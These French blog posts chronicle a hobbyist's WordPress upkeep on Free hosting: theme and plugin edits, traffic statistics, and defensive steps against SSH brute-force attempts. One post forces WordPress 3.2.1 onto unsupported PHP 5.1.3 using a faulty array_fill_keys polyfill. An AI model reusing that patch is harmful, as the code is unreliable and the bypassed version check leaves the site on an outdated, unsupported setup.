J’utilise donc maintenant Code Autoescape, plugin beaucoup plus léger, mais qui bien entendu ne fait ni de coloration syntaxique, ni de numérotation de ligne, etc… Avec un peu de CSS, voici ce que cela donnera maintenant :

#! /bin/sh
# nom du fichier : replaceall.sh
# pas de SAUVEGARDE des fichiers faite par ce script.
find . -type f -name '*.html' -print | while read i
do
sed "s|$1|$2|g" $i > $i.tmp && mv $i.tmp $i
done

C’est forcément plus sobre ! un peu moins lisible bien sûr, mais un copier/coller dans son éditeur préféré pour ceux que le code intéresse résoudra le problème.

Je suis repassé sur tous les articles affichant du code pour les modifier, normalement tout est à jour.

Mise à jour Wordpress 3.2.1

Mon, 15 Aug 2011 19:01:48 +0000

La version 3.2 de Wordpress est sortie le mois dernier, et le focus a été mis sur la rapidité et la légèreté. Ça valait peut-être le coup de l’installer chez Free… À noter également un nouveau mode plein écran quand on rédige un billet (le zen mode) qui a l’air bien sympathique.

Je prépare la mise à jour manuelle, télécharge les fichiers, lance la mise à jour et reçoit tout de suite un beau message très clair :

Votre serveur utilise la version 5.1.3RC4-dev de PHP mais WordPress 3.2.1 nécéssite au moins la version 5.2.4.

Effectivement, Free est à la version PHP 5.1.3… et Wordpress veut la 5.2.4 minimum… Je me dis que c’est foutu, qu’il va falloir attendre que Free veuille bien mettre à jour sa version, et que cela peut prendre du temps…

Je vérifie toutefois sur le forum Wordpress FR, et tombe sur un lien vers cet article de “Petit Nuage” expliquant comment installer tout de même cette version.

Il y a trois fichiers à modifier avant de les copier chez Free, tous trois situés dans le répertoire wp-includes :

version.php

On va d’abord dire à Wordpress que la version 5.1.2 est suffisante :

/**
 * Holds the required PHP version
 *
 * @global string $required_php_version
 */
//$required_php_version = '5.2.4';
$required_php_version = '5.1.2';

functions.php

Et comme la fonction array_fill_keys n’existe pas dans la 5.1.3, on va la définir :

/**
 * Add missing function in php version 5.1.3
 */

function array_fill_keys($keyArray, $valueArray) {
    if(is_array($keyArray)) {
        foreach($keyArray as $key => $value) {
            $filledArray[$value] = $valueArray[$key];
        }
    }
    return $filledArray;
}

pluggable.php

Enfin, pour éviter des warnings avec le fonction setcookie qui passe de 6 à 7 paramêtre à la 5.2 de PHP, il faut remplacer les lignes 737 à 739 par les suivantes :

setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure);
setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure);
setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie);

Et voilà, l’installation passe sans problème. Merci à Petit Nuage ! ;-)

Les indiens attaquent !

Tue, 09 Aug 2011 19:04:19 +0000

Hier soir, au moment d’aller me coucher, je m’aperçois (grâce à Conky) que quelqu’un essaie de se connecter sur mon PC !

Mais que se passe-t-il ? :roll:

Le port 22 étant celui de SSH (voir le fichier /etc/services), ma première réaction est d’arrêter mon service SSH.

sudo service ssh stop

Le service SSH permet de se connecter à distance sur mon PC. Comme tout service, c’est donc “une porte”, et il suffit d’avoir la clef (nom utilisateur/mot de passe) pour rentrer. Il faut donc faire attention…

Je m’en sers très peu. Pour m’amuser, je l’avais fait du boulot à travers un tunnel HTTP… et d’autres fois, pour que des amis récupèrent de gros fichiers, cela peut aussi être utile. Sinon, j’avais presque oublié qu’il tournait !

Revenons à mon problème : histoire de comprendre ce qui se passe, je vais jeter un œil sur les logs grâce au Visionneur de journaux système, et plus particulièrement le fichier auth.log qui gère les authentifications. Et comme attendu, j’ai une belle liste de tentatives de connexions (qui échouent bien sûr) :

Alors c’est quoi ? c’est qui ? les outils d’Ubuntu (enfin Linux) vont nous aider : je lance les Outils réseau à partir du Centre de contrôle, et je commence par un Whois sur l’adresse IP :

Pas de doute, ça vient d’Inde ; TATA est l’une plus grosses boites du pays, ils font de tout : des voitures, des fringues, des machines à laver… y compris les services internet plus récemment !

On peut aussi faire un traceroute pour voir le chemin utilisé, c’est toujours marrant : Paris - Londres - New York - Palo Alto - Singapore - Bombay… tout ça en moins de 300 millisecondes ! Ah les voyages ! ;-)

Bon, c’est juste pour information en fait…

Il s’agit très certainement d’un “bot” (robot) qui essaie de se connecter sur ma machine (et sur plein d’autres) ; sans doute même à partir du PC d’une personne qui n’en a aucune connaissance (sous Windows comme il se doit). Voilà à quoi peut servir votre PC si vous ne faites pas attention à la sécurité : il peut être utilisé à votre insu et participer à des attaques…

Que faire alors ? il y a plusieurs solutions, comme toujours :

Ai-je besoin d’avoir le port de ma box ouvert en permanence ? Ai-je besoin d’avoir mon service SSH de démarré en permanence ? la réponse est non, donc je devrais activer ce service seulement si j’en ai besoin.
Le port 22 est le port par défaut, et les attaques se passent souvent sur ce port. Il est très facile de changer le port dans le fichier de configuration (/etc/ssh/sshd_config) pour n’importe quel autre. Ainsi les risques d’attaque de ce genre sont fortement diminués.
activer le paramètre MaxStartups (/etc/ssh/sshd_config) qui va bloquer les connections au bout d’un certain nombre de tentatives.

Et si mon PC était un vrai serveur, toujours Up, et que j’ai vraiment besoin de sécurité :

passer en mode d’authentification par clef publique/privée (et plus par mot de passe). Voir ici par exemple.
utiliser un script comme Denyhost : ce script va surveiller le journal de log SSH, interdire les adresses qui tentent de se connecter après un certain nombre de tentatives, et prévenir l’administrateur.
installer fail2ban : ne se limite pas à SSH (mais aussi FTP, Apache, etc…), et modifie les iptables (le parefeu) pour bannir les machines qui tentent de se connecter. Très efficace !

Voilà, je vais m’en tenir à la première solution, ne démarrer le service SSH que sur besoin, et changer le port par défaut.

Modification du thème (fin)

Thu, 16 Jun 2011 18:05:25 +0000

Quelques petites modifications sur le blog… presque tout est visible sur l’image ci-contre.

De nouvelles petites icônes (encore, oui, mais cela améliore le rendu), la lecture des archives et de catégories qui affichent à la fois le début de l’article ET une image (si l’article en contient une), enfin la barre de recherche déplacée vers le haut.

Sans oublier le “Lire la suite” qui s’affiche à droite maintenant, avec une petite icône, comme vous pouvez le voir ci-dessous….

D’abord ajout de petites icônes donc, sous le titre des articles pour les catégories et les commentaires (récupérées du thème suffusion); et déplacement de “Publié par…” en bas de l’article. Petite amélioration certes, mais c’est plus joli comme ça. Tout se fait par le CSS, c’est assez simple, je ne rentre pas dans les détails.

Concernant l’affichage des articles par Catégories ou par Archives, j’avais remplacé dans le thème la fonction the_content() par the_excerpt() pour n’afficher que les premiers mots de chaque article. C’est très bien, cela permet de lister les articles plus rapidement, mais la fonction the_excerpt() ne permet pas d’afficher les images que je mets souvent en début de chaque article, et c’était un peu triste…

La solution est venue par un plugin appelé « Thumbnails for Excerpt » (TFE) qui permet de le faire très simplement.

En même temps, j’ai ajouté les lignes suivantes dans le fichier functions.php du thème :

function new_excerpt_more($more) {
global $post;
return '<a href="'. get_permalink($post->ID) . '"> [.....]</a>';
}
add_filter('excerpt_more', 'new_excerpt_more');

Ceci pour que les points de suspensions s’affichent sous la forme d’un lien pour accéder à l’article (trouvé sur le wiki de wordpress). Le plugin TFE permet quant à lui d’afficher l’image comme un lien également.

Tout se présentait donc très bien, quand j’ai vu qu’avec certains articles, TFE n’affichait pas de lien. Impossible de comprendre pourquoi tel article lui plaisait ou non… mais reproductible en local sur mon PC en recopiant tel quel le-dit article. J’ai fini par aller voir dans le code du plugin (fichier thumbnailforexcerpts.php), et supprimer les lignes suivantes :

if(count($words) > $excerpt_length){
array_pop($words);
array_push($words,'...');
$content=implode(' ',$words);
}

De cette manière, tout fonctionne parfaitement. Je ne vois pas à quoi sert le test, et il n’y a pas de commentaires pour l’expliquer. Donc so far so good comme disent les anglais.

Dernière modification, j’ai déplacé le champ de recherche à la hauteur du menu en haut de page. Ça fait longtemps que je voulais le faire, cela rend les deux colonnes plus homogènes (le champ recherche décalait celle de droite, c’était moins joli).

Voilà, je pense que c’est la fin pour cette mise à jour du thème. Finalement, c’est aussi bien de peaufiner un thème existant, que d’en installer un nouveau et de repartir de zéro…

Il faudra que je me penche maintenant sur l’ajout d’un menu déroulant… ce sera pour plus tard.

Modification du thème (suite)

Sat, 28 May 2011 15:54:38 +0000

Deuxième article sur les changements apportés au thème, après celui-ci.

Les titres

Le premier changement évident, ce sont les titres des rubriques dans chaque colonne : suppression de l’image de fond , et ajout d’une ligne en pointillé inférieure. Tout cela se fait avec les définitions CSS, c’est donc donc très facile. L’idée est de rendre le site plus sobre, la sobriété étant une qualité que j’apprécie particulièrement. ;-)

J’en ai profité pour ajouter un léger effet d’ombre, qui donne un peu de relief. Il suffit d’ajouter la propriété suivante :

<span style="color: #800000;">text-shadow:1px 1px 1px #AAA;</span>

Propriété que j’ai également ajoutée aux titres des articles, en changeant également la couleur quand la souris passe dessus (de orange à gris).

Voyons voir un peu les autres modifications : les icônes, les tableaux, et surtout la navigation dont je suis particulièrement satisfait, sans doute parce cela n’a pas été simple d’arriver à ce que je voulais…

Les icônes

Pour afficher les derniers articles , les catégories , les archives , les commentaires et enfin les liens , il y a donc maintenant de jolies petites icônes. Certaines sont récupérées du thème Suffusion et d’autres de l’ancien plugin WP-dTree (que je ne peux utiliser ni l’un ni l’autre avec Free ), ou encore de wordpress (celle des liens). Je les ai toutefois modifiées avec GIMP, pour les rendre plus homogènes dans la teinte.

Là encore, on passe par les propriétés CSS, et on ajoute l’image en background ainsi qu’un padding-left de 20 px pour laisser la place à l’icône, par exemple :

<span style="color: #800000;">li.liens { </span>
<span style="color: #800000;"> list-style: none; </span>
<span style="color: #800000;">padding-left : 20px; </span>
<span style="color: #800000;"> background : url('images/lien.png') no-repeat left top;
}</span>

Pour appliquer la class CSS, ce fût parfois moins évident :

pour les archives, il a fallut aller modifier la fonction utilisée pour le plugin PW_Archives (et donc le fichier PW_Archive.php).
pour l’icône des liens : j’ai mis du temps à trouver le bon fichier à modifier (wp-includes/bookmark-template.php).

Les tableaux

J’utilise rarement les tableaux, mais le style a été changé également. C’est en essayant un autre thème, zBench, que j’ai vu ce style, assez sobre, et donc aussitôt adopté.

Et donc avant, on avait :

et maintenant on aura :

J’ai gardé le meilleur pour la fin : la navigation…Il s’agit soit d’afficher le nom de l’article suivant et précédent en haut de page lors de l’affichage d’un article particulier,

soit d’afficher Articles suivants et Articles précédents en bas de page lorsque l’on parcours les articles.

Je l’avais vu sur Suffusion, et légèrement adapté. Là aussi, on ajoute une icône à la place d’un simple caractère comme ← ou →. Mais l’idée intéressante, c’est d’utiliser un tableau pour que l’affichage soit beaucoup plus propre lorsque les titres des articles sont longs : chacun reste ainsi de son côté sans se chevaucher, et c’est beaucoup plus lisible.

Là où j’ai du me creuser la tête, c’est avec ce fameux tableau. Lorsque j’affichais les archives, par exemple les articles de mars 2011 (soit 5 articles), j’obtenais un tableau vide. En effet, dans ce cas, il n’y a pas de navigation à afficher en bas de page (j’autorise 10 articles et il n’y en a que 5)… et même s’il n’y avait rien à afficher, la table était créée :

Tout se passe dans le fichier navigation.php, lorsqu’il est appelé par le fichier archive.php (ceci dépend du thème, les règles wordpress sont expliquées ici).

Le fichier navigation.php était conçu comme ceci :

Il a donc fallu ajouter un test supplémentaire, à savoir tester previous_posts_link et next_posts_link. S’ils sont tous les deux vides, il ne faut pas afficher de tableau.

Pour ce faire, il faut utiliser get_previous_posts_link() et get_next_posts_link(). Si leur valeur est nulle, alors pas besoin de navigation. La logique devient donc celle-ci :

Voilà ce que donne le code :

<!-- on initialise 2 variables pour savoir s'il y aura d'autre articles -->
<?php $nextpost = (get_next_posts_link()) ?>
<?php $prevpost = (get_previous_posts_link()) ?>

<?php if (is_single()) : ?>
<div class="post-nav">
	<table>
		<tr>
	<td class="previous"><?php previous_post_link('%link') ?></td>
	<td class="next"><?php next_post_link('%link') ?></td>
		</tr>
	</table>
</div>
<div class="clear whitespace1"></div>

<!-- s'il y a des articles, il faut afficher les liens de navigation avant/après -->
<!-- il faut tester les 2 cas, l'un OU l'autre suffisent -->
<?php elseif ($nextpost != '' || $prevpost != '')  : ?>

<div class="post-nav">
	<table>
		<tr>
			<td class="previous"><?php next_posts_link('Articles précédents') ?></td>
			<td class="next"><?php previous_posts_link('Articles suivants') ?></td>
		</tr>
	</table>
</div>

<div class="clear flat"></div>

<!-- il n'y a plus d'articles, on affiche le message -->
<?php else : ?>

<div class="post-nav">
	<table>
		<tr>
			<td class="center">-=- Il n'y a pas d'autres articles correspondants -=-</td>
		</tr>
	</table>
</div>
<?php endif; ?>

J’en suis plutôt content, parce j’ai trouvé ça tout seul… Dans ce cas, la solution de facilité est de poser la question sur un forum php ou wordpress, puis d’attendre de l’aide…

Grâce au wiki wordpress, j’ai pu trouver quelles fonctions utiliser pour tester la condition de navigation. Puis les tutoriaux php (les tutoriaux du site du zéro sont vraiment bien faits) pour utiliser IF/ELSEIF/ELSE pour effectuer les conditions. C’était le plus dur, au début je cherchais à imbriquer une autre boucle IF/ELSE et je me battais avec les problèmes de syntaxe… sans succès. Mais je me suis accroché !

Évidement, quand ça se met à fonctionner comme on le souhaite, on est très content… :-)

Bon voilà, j’ai encore quelques idées de petits changement pour le thème touchant la présentation, puis je me pencherai sur la manière de créer un menu sans que le thème soir prévu pour.

Modification du thème

Wed, 18 May 2011 17:52:05 +0000

Suite à l’impossibilité d’installer le thème Suffusion pourtant longuement préparé (voir cet article), et une fois renseignements pris (chez Free, la mémoire étant limitée à 32Mo, il est plus que recommandé de garder un thème assez basique), je me suis dit que je pouvais garder mon thème actuel mais que rien ne m’empêchait de le transformer à nouveau.

De plus, après la mise à jour en Wordpress 3.1.2, j’avais des difficultés à réactiver le plugin WP-dTree (ci-contre), qui affichait les catégories et les archives sous forme d’arborescence dynamique : un plugin très bien fait, élégant, mais un peu gourmand et qui ralentissait d’ailleurs le temps d’affichage de la page d’accueil du blog. Adieu donc le beau WP-dTree ! :-(

Et j’ai donc commencé à modifier petit à petit le thème existant pour le faire ressembler à ce que j’avais obtenu avec Suffusion. Voilà donc les modifications déjà apportées (il en reste, cela fera l’objet d’autres articles).

Date des articles

Le plus visible pour l’instant, c’est le changement d’affichage de la date pour chaque article. Là j’ai simplement récupéré l’image de fond utilisée par Suffusion (en l’éclaircissant un peu), puis le code css correspondant. Ensuite il ne restait plus qu’à modifier les fichiers du thème qui l’utilisent (index.php, search.php et archive.php), comme suit :

<div class="date">
	<span class="month">
	<span class="day">
	<span class="year">
</div>

Colonne de gauche

Puis il donc fallu réorganiser complètement la colonne de gauche, puisque WP-dTree n’était plus possible. La liste des archives étant très longue, je l’ai déplacée tout en bas. Puis j’ai ajouté une section “Les 10 derniers articles”. Enfin, l’affichage des catégories (et des archives) entraînaient un autre petit changement. Voyons tout cela.

10 derniers articles

Pour ce faire, pas besoin de plugin, le code suivant suffit :

<h2>10 derniers articles</h2>
<ul>
<?php
	$args = array(
	'numberposts' => '10',
	'post_status' => 'publish'
	);
	$recent_posts = wp_get_recent_posts( $args );
	foreach( $recent_posts as $post ){
	echo '<li><a href="' . get_permalink($post["ID"]) . '" title="Look '.$post["post_title"].'" >' .   $post["post_title"].'</a> </li> ';
	}
?>
</ul>

Catégories

Là non plus, pas de besoin de plugins, il suffit d’utiliser la fonction wordpress avec les paramètres souhaités, dans mon cas :

wp_list_categories(‘show_count=1&title_li=’);

Et comme je voulais ne pas afficher tous les articles quand on sélectionne une catégorie, mais uniquement un extrait, j’ai modifié le fichier category.php pour remplacer la fonction the_content() par the_excerpt(). C’est la même modification que j’avais faite pour afficher les résultats de la recherche (voir cet article).

Suffusion, un joli thème trop gourmand pour Free

Sat, 07 May 2011 18:24:43 +0000

Cela faisait quelque temps que je préparais un nouveau thème pour le blog : Suffusion (voir cet article).

Préparer, c’est-à-dire personnaliser, et cela peut prendre du temps pour fignoler les petits détails, chercher où tel truc est activé ou paramétré, tomber sur des bugs éventuellement, trouver des solutions pour arriver à l’affichage souhaité.

Bref, j’y ai passé des heures : comme le thème est assez sophistiqué, ce n’était pas toujours simple d’arriver à ce que je voulais. Tout cela sur mon PC en local, sans le tester avant sur Free. Ce fût ma seule erreur… :-(

Alors voilà, ce matin, c’était prêt, le résultat obtenu me plaisait, et j’ai voulu le mettre en ligne :

Et ça c’est très mal passé. Dès l’activation du thème, un beau message d’erreur m’indiquait que je dépassais la limite de mémoire que Free octroie, c’est à dire 32 Mo.

Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 92160 bytes) in /mnt/121/sdb/9/2/pascal.ledisque/wordpress/wp-admin/includes/media.php on line 1210

J’ai tout de suite désactivé tous les plugins que j’utilise, réactivé le thème… mais sans effet : le thème en lui-même (assez sophistiqué il est vrai) dépasse allègrement la limite imposée par Free. Adieu donc le joli thème Suffusion, et tout le temps passé au paramétrage se révèle totalement inutile. :-(

A tout hasard, j’ai mis à jour la version de Wordpress, de 3.0.1 à 3.1.2 : parfois les premières versions ne sont pas vraiment optimisées, et peuvent consommer plus de ressources. Si la mise à jour s’est bien passée, elle n’a rien résolu. J’ai même l’impression que cette version est un peu plus gourmande, et j’ai un peu de mal à réactiver tous mes plugins… Problème en cours de traitement.

Comme de tout échec, on apprend tout de même quelque chose :

Avant de commencer à travailler sur un thème en local, vérifier s’il fonctionne avec les paramètres par défaut sur le site de l’hébergeur… surtout un hébergement gratuit comme Free qui a des limitations (qui sont compréhensibles). Cela vous évitera de perdre du temps !
Il existe un plugin appelé WP-Memory-Usage qui vous indique la quantité de mémoire utilisée. Dans mon cas, une fois revenu au thème existant et avec tous les plugins activés, je peux voir que je suis déjà proche des limites :

Sur mon PC, avec le thème et tous les plugins activés, WP-Memory-Usage affiche :

Ça se joue à peu de choses : 33,78 Mo… Sur Free, même en désactivant tous les plugins, je descend à 81%… Bref, il n’y a pas vraiment de solutions, si ce n’est de passer à un hébergement payant.

Pour l’instant, je garde donc le thème existant, et voir si je peux trouver un thème moins gourmand qui réponde à mes besoins : deux “sidebars” (une de chaque côté) et la possibilité d’utiliser les menus que propose Wordpress depuis la version 3.

Revenir au thème précédent

Le pire de tout ça, c’est qu’en activant le thème, vous ne pouvez plus accéder aux pages d’administrations de Wordpress, et donc… vous ne pouvez plus revenir à l’ancien thème ! Quand tout va mal…

La seule solution est de passer par la base de données : lancer phpMyAdmin sur Free, se connecter, sélectionner la table wp_options, et remettre le nom de votre thème pour les deux valeurs suivantes :

La limitation mémoire

Concernant le problème de mémoire, vous pouvez lire cet article, ou encore celui-ci, plus spécifique au problème Free : non seulement la limite est à 32 Mo, mais le même blog wordpress avec les mêmes plugins consomment plus de mémoire chez Free que chez un autre hébergeur…

Suffusion, le prochain thème

Tue, 15 Mar 2011 19:04:28 +0000

Je cherchais un nouveau thème pour le blog, et je crois que j’ai trouvé un bon point de départ : le thème Suffusion.

Il est assez sobre par défaut, et offre un nombre d’options incroyable via le panneau d’administration : à tel point que l’auteur a choisi d’afficher DON’T PANIC !! sur la page d’accueil des options du thème.

Le nombre de paramètres modifiables est tel qu’il faut un peu de temps pour s’y retrouver… Le nombre de «sidebars» et d’emplacement de «widgets», leurs positions, les couleurs du thème (avec une ensemble prédéfini de disponible), et bien entendu les menus (2 barres de menus possibles), paramétrables à loisir. Et je n’ai pas encore tout vu.

Après quelques heures, j’ai pu configurer le menu comme je le souhaitais, c’est-à-dire reproduire grosso-modo le menu existant du blog en y ajoutant une entrée Page qui liste en sous-menu les pages et éventuellement sous-pages visibles. Voilà ce que ça donne :

Voyons voir ce début d’un peu plus près : il va falloir créer un thème enfant, installer la traduction française, créer le menu de navigation et régler un problème de widget pour un vieux plugin.

Child theme et traduction française

Les fichiers pour configurer le thème en français sont disponibles sur le site du plugin. On récupère ainsi deux fichiers fr_FR.mo et fr_FR.po. Comment les utiliser ?

La méthode recommandée est de créer un «child theme», un thème enfant : Dans le répertoire themes de Wordpress, vous avez installé le thème suffusion qui se trouve donc dans un répertoire du même nom. Au même niveau, créer un répertoire nommé «suffusion-child» par exemple. Copier le fichier style.css du thème suffusion dans ce nouveau répertoire. Éditer ce fichier et modifier le header (l’en-tête) comme suit (c’est un exemple) :

/*
Theme Name:     Suffusion Child
Theme URI:      http://www.aquoid.com/news/themes/suffusion/
Description:    Child theme for the Suffusion theme
Author:         Pascal
Author URI:     http: //pled.fr
Template:       suffusion
Version:        0.1.0
*/

Voilà, un nouveau thème «Suffusion child» apparait dans le menu Apparence de Wordpress, il suffit de l’activer.

Pour la traduction française, créer simplement un répertoire «translation» et y copier les deux fichiers récupérés. Attention, cela ne traduit que le thème en lui-même (lors de l’utilisation du blog) et pas le menu d’administration du thème qui reste lui en anglais.

Pour la création du menu, une vidéo de démonstration Navigation Bar basics est plutôt utile à regarder avant de commencer.

Mon menu se décompose en fait en deux types d’entrée :

de simples liens soit vers des pages, soit vers d’autres sites comme l’album zenphoto : ainsi pour Home, Ancien site, Album photo, Arbre Gén. et A propos.
le fameux Menu déroulant Pages.

Les simples liens

J’ai du créer un menu pour chacun d’entre eux, chaque menu contenant la page en question ou le lien. Tout ceci se fait dans l’interface d’administration de Wordpress, Apparence - Menus :

Une fois le menu créé, y ajouter soit la page correspondante, soit un lien personnalisé.

Le menu déroulant Pour ce dernier, ce sont de simples pages créées dans Wordpress. Pour hiérarchiser les pages, il faut utiliser l’option Attributs de la page, et lui donner le parent souhaité.

Dans mon exemple, j’ai donc une Page principale, parent de Page 1 et de Page 2, cette dernière étant parent de sous-page 1 et sous-page 2 :

Réglage dans Suffusion

Une fois ceci préparé, rendons-nous dans l’interface du thème Suffusion. Dans Other Graphical Elements - Main Navigation Bar, choisir l’option suivante :

Puis exclure les pages qui ne font pas partie du menu déroulant que vous voulez créer :

Enfin, activer les WP 3 Navigation menus, et sélectionner ceux créés précédemment :

Pour finir, régler l’ordre d’affichage des entrées du menu en les faisant glisser : ce n’est pas exactement ce qui sera affiché, mais on arrive à ce que l’on veut facilement :

Voilà le menu est tel que je le souhaitais… ce thème est vraiment puissant.

Les widgets

C’est aussi l’occasion de passer aux widgets, c’est-à-dire des plugins que l’on peut administrer via l’interface de Wordpress. C’est parfait, cela évite d’aller modifier les fichiers à la main…

Encore faut-il que tous les plugins utilisés supporte ce mode. C’est le cas pour presque tous, car la plupart du temps les auteurs ont réécrits leurs plugins pour supporter cette fonctionnalité. Et bien entendu, il en reste toujours un pour lequel ce n’est pas le cas ! ;-)

En l’occurrence, c’est Utter Quotes, le plugin qui me sert à afficher une citation en haut de page. Il est ancien et plus vraiment développé par son auteur. Comme toujours, il existe une solution. Wordpress propose bien un widget Text, mais comme son nom l’indique il ne permet que d’insérer du code HTML ou du simple texte. Et fort heureusement, quelqu’un a développé un PHP code widget, qui permet donc d’insérer du code PHP. Exactement ce qu’il me fallait, il ne me reste plus qu’à insérer le code PHP correspondant au plugin dans ce widget placé en haut de la sidebar de droite.

Conclusion

Il reste encore beaucoup de modifications à faire, mon idée est de garder à peu près le même look que le thème précédent, puisqu’il me plait bien. Mais avec Suffusion, je peux avoir le menu que je souhaitais, et la base de départ est assez proche de ce à quoi je veux arriver. L’essentiel devrait porter sur le CSS, en prenant soin de garder la compatibilité avec les réglages de l’ancien thème, notamment le positionnement des images (gauche, droite, centré). Et retrouver la bannière aléatoire bien sûr !

A suivre donc…

Vérifier son thème Wordpress

Sun, 20 Feb 2011 18:50:29 +0000

Je commence à regarder les thèmes Wordpress disponibles pour la version 3, car l’une des nouvelles fonctionnalités m’intéresse : je voudrais avoir un menu plus évolué en haut de page.

Un menu déroulant permettrait beaucoup plus de souplesse, par exemple pour afficher des liens vers des pages du blog, ce qui ouvrirait de nouvelles perspectives…

Et voilà que je tombe sur cet article intitulé : Il ne faut jamais chercher un thème WordPress gratuit sur un moteur de recherche !

L’auteur s’est amusée à tester le 10 premiers résultats sur Google avec la recherche suivante : « free wordpress themes ».

Personnellement, je n’avais jamais pensé que des thèmes pouvaient contenir du code malicieux, mais il semble bien que si, car voici le résultat pour les 10 premières réponses de Google :

Sûr : 1
Mouais : 1
A éviter : 8

Il convient donc d’être prudent lorsque l’on choisit un thème pour son blog. Je vous encourage à lire cet article si vous êtes concerné, c’est très intéressant.

À retenir

Il existe des plugins qui permettent de tester votre futur thème :

Theme Authenticity Checker qui teste votre thème contre du code malicieux : indispensable !

Et pour une analyse plus poussée :

Exploit scanner qui analyse tout votre site (peut prendre du temps et avec un résultat très verbeux)
Theme Check qui teste votre thème au regard des standards et pratiques de Wordpress (là aussi, le résultat peut être verbeux)

Enfin, quelques sites fournissant de « bons thèmes » :

Adieu Google Analytics

Tue, 18 Jan 2011 18:31:39 +0000

Comme je le mentionnais récemment dans l’article sur les statistiques du blog, j’avais aussi activé Google Analytics en plus de l’extension “Wordpress.com Stats”. En fait je m’en servais très peu, les données fournies par Wordpress me suffisant amplement.

Après avoir lu pas mal d’articles concernant Facebook et son fameux bouton “J’aime” (voir Le bouton « J’aime » de Facebook), je me suis rendu compte que Google faisait grosso modo la même chose, c’est-à-dire le traçage, et toujours pour les mêmes raisons : la publicité ciblée.

Si Google Analytics est très complet et certainement utile pour un site professionnel souhaitant développer son audience (mais attention, cela devient vite complexe), ce n’est pas du tout mon cas. J’ai donc supprimé le petit bout de script, que j’avais mis moi-même, en toute innocence ;-) (et en même temps supprimé le site côté Google).

Le blog est ainsi plus respectueux de ses visiteurs…

Statistiques du blog - année 2010

Sun, 09 Jan 2011 19:04:43 +0000

C’est le moment de regarder les stats du blog, et de comparer avec les chiffres de l’année dernière, puisque cela fait maintenant plus de deux années complètes que les stats sont activées avec le plugin Wordpress.com Stats.

Comme l’année dernière, les visites sont en hausse, et c’est principalement lié à l’accroissement du contenu. Par contre, j’ai publié moins d’articles (voir les chiffres dans la colonne de gauche) : soit 96 articles publiés en 2010.

Un premier plugin WP online counter, activé depuis le début du site ou presque (et affiché en bas de page), me donne un nombre total de visiteurs de 318 875 à ce jour, contre 184 000 il y a un an.

Visites

C’est confirmé en comparant l’année 2009 à celle de 2010, toutes deux complètes :

31 698 visiteurs en 2009
45 259 visiteurs en 2010

Il y a une hausse de fréquentation sensible depuis septembre dernier, et je dépasse 4 500 visites par mois, contre 3 500 en fin d’année dernière.

Enfin le mois de Novembre dernier bat le record avec 4839 visites… à comparer avec l’année dernière, où le meilleur mois était également Novembre, mais avec 3 647 visites.

Articles

Comme l’année dernière, voilà le « top 20» des articles les plus consultés, avec les chiffres de 2009 pour ceux qui en faisaient déjà partie il y a un an : Article20092010VTT Giant2 0084 364VirtualBox2 1733 796Rééducation du coude3 441Le zona, c’est la zone1 2322 913Les démons de Jésus1 0492 397Ubuntu 8.04 - Hardy Heron1 8631 991UBCD4Win1 0291 763Wordpress: installation en local6701 644Le pays Gallo5941 483Sauvegarder ses données sous Ubuntu5001 435Wengo plutôt que Skype1 120SED - Stream EDitor6881 115Fracture du coude - 6 mois après1 101Les oursins n’aiment pas le Round-up8791 022Tristes tropiques - Claude Lévi-Strauss2971 017Ubuntu 9.10 - Karmic Koala265776“Écoutez” France Culture… en mp3775“Écoutez” France Culture… en mp3 (2)733Le langage silencieux - Edward T. Hall279728Freebox v5700 A noter cette année :

l’article “VTT Giant” prend la tête (second l’an dernier) alors qu’il ne s’agit que de quelques photos du VTT de ma frangine.
l’entrée fracassante ;-) de l’article “Rééducation du coude” à la troisième place ainsi que “Fracture du coude - 6 mois après” : ces articles ont bien fonctionné, il y avait un besoin je crois, et surtout un kiné s’est mis à y participer… merci à lui.
l’article sur Ubuntu Hardy a très peu évolué, ce qui est logique (d’autres versions sont apparues).
La pays Gallo gagne une place ! (neuvième).
les deux articles expliquant comment enregistrer France Culture, et faits cette année, se placent bien.
Deux bouquins (mais deux bons) dans cette liste : “Tristes tropiques” de Claude Levy Strauss, et “Le langage silencieux” d’Edward T. Hall.

Google

J’ai également activé les stats sur Google… pas grand chose de plus que celles de Wordpress, en tout cas dans ce qui m’intéresse… A noter tout de même un joli camembert sur les sources de trafic :

Sinon, il y a une jolie mappemonde de disponible, mais en gros c’est surtout la France et un peu le Canada, langue française oblige… et puis un peu partout dans le monde, mais à dose homéopathique.

La police Ubuntu

Fri, 24 Dec 2010 18:52:16 +0000

Avec la dernière version d’Ubuntu est arrivée une nouvelle police, créée spécifiquement. Canonical en a payé le développement, et la police est livrée sous licence libre, permettant ainsi à tout le monde d’en profiter.

Puis Google et Ubuntu l’ont récemment rendu disponible pour le web, à travers le projet Google Font directory.

Et la voilà donc utilisée sur ce blog… :-)

J’ai trouvé l’info sur le site de Nizarus, et la manip est très simple : il suffit de charger la police dans le fichier header.php du thème, puis de modifier le fichier style.css pour inclure la police Ubuntu dans les niveaux de titres que vous désirez.

header.php :

<link href='http://fonts.googleapis.com/css?family=Ubuntu:regular,italic,bold' rel='stylesheet' type='text/css'>

style.css :

body { background: #F3F6ED; font-family: Ubuntu, Arial, Helvetica, sans-serif; font-size: 8pt; text-align: center; }
h1, h2, h3 { font-weight: bold; font-family: Ubuntu, Georgia, Helvetica, Arial, sans-serif; color: #665836; }

En ce qui me concerne, j’ai tout passé en Ubuntu. J’ai du également modifier la taille de 1.3em à 1.2em pour le style utilisé par les plugins wp-dtree30 et recent-comments pour garder la même proportion.

Mise à jour plugins

Sun, 19 Dec 2010 12:02:16 +0000

Ça faisait un bout de temps que j’avais divers problèmes avec le blog, depuis le passage en version 3.0.1 en fait (voir cet article).

Le plugin wp-dtree-30, qui sert à afficher les articles sous la forme d’un arbre dynamique, fonctionnait de manière aléatoire : les nouveaux articles n’apparaissaient pas immédiatement, mais quelques jours plus tard… enfin… s’ils le voulaient bien.

Et ce n’était pas le seul : wp-spamFree s’initialisait mal, et laissait passer des spams dans les commentaires de manière quasi quotidienne, m’obligeant à faire le ménage manuellement. Pour finir de dresser le tableau, j’avais aussi de nombreuses erreur 500 du serveur Free lors de la sauvegarde d’un article : même si l’article était bien sauvegardé, c’était plutôt ennuyeux.

